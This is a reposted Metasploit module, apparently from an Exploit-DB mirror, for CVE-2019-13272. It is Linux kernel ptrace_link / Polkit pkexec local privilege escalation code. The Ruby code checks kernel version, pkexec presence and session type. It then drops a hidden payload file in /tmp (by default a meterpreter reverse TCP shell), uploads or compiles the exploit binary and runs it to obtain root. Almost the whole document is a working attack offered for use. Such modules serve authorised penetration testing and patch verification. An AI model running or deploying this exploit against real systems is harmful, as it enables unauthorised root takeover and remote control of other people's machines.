Linux Polkit – pkexec helper PTRACE_TRACEME local root (Metasploit)

  • 作者: Metasploit
    日期: 2019-10-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47543/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Post::Linux::Priv
    include Msf::Post::Linux::Kernel
    include Msf::Post::Linux::System
    include Msf::Post::Linux::Compile
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
    'Description' => %q{
    This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
    kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
    not over an SSH session, as it requires execution from within the context of
    a user with an active Polkit agent.
    In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
    the recording of the credentials of a process that wants to create a ptrace
    relationship, which allows local users to obtain root access by leveraging
    certain scenarios with a parent-child process relationship, where a parent drops
    privileges and calls execve (potentially allowing control by an attacker). One
    contributing factor is an object lifetime issue (which can also cause a panic).
    Another contributing factor is incorrect marking of a ptrace relationship as
    privileged, which is exploitable through (for example) Polkit's pkexec helper
    with PTRACE_TRACEME.
    },
    'License' => MSF_LICENSE,
    'Author'=> [
    'Jann Horn',# Discovery and exploit
    'bcoles', # Metasploit module
    'timwr',# Metasploit module
    ],
    'References' => [
    ['CVE', '2019-13272'],
    ['EDB', '47133'],
    ['PACKETSTORM', '153663'],
    ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
    ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
    ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Platform' => [ 'linux' ],
    'Arch' => [ ARCH_X64 ],
    'Targets'=> [[ 'Auto', {} ]],
    'DefaultOptions' =>
    {
    'Payload' => 'linux/x64/meterpreter/reverse_tcp',
    'PrependFork' => true,
    },
    'DisclosureDate' => 'Jul 4 2019'))
    register_advanced_options [
    OptBool.new('ForceExploit', [false, 'Override check result', false]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
    end
    
    def check
    # Introduced in 4.10, but also backported
    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
    release = kernel_release
    v = Gem::Version.new release.split('-').first
    
    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
    vprint_error "Kernel version #{release} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"
    
    unless command_exists? 'pkexec'
    vprint_error 'pkexec is not installed'
    return CheckCode::Safe
    end
    vprint_good 'pkexec is installed'
    
    arch = kernel_hardware
    unless arch.include? 'x86_64'
    vprint_error "System architecture #{arch} is not supported"
    return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"
    
    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
    if loginctl_output =~ /Remote=yes/
    print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
    return CheckCode::Safe
    end
    
    CheckCode::Appears
    end
    
    def exploit
    if is_root? && !datastore['ForceExploit']
    fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
    end
    
    unless check == CheckCode::Appears
    unless datastore['ForceExploit']
    fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
    end
    print_warning 'Target does not appear to be vulnerable'
    end
    
    unless writable? datastore['WritableDir']
    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end
    
    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    upload_and_chmodx(payload_file, generate_payload_exe)
    register_file_for_cleanup(payload_file)
    
    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    if live_compile?
    vprint_status 'Live compiling exploit on system...'
    upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
    else
    vprint_status 'Dropping pre-compiled exploit on system...'
    upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
    end
    register_file_for_cleanup(exploit_file)
    
    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
    print_status("Exploit result:\n#{result}")
    end
    end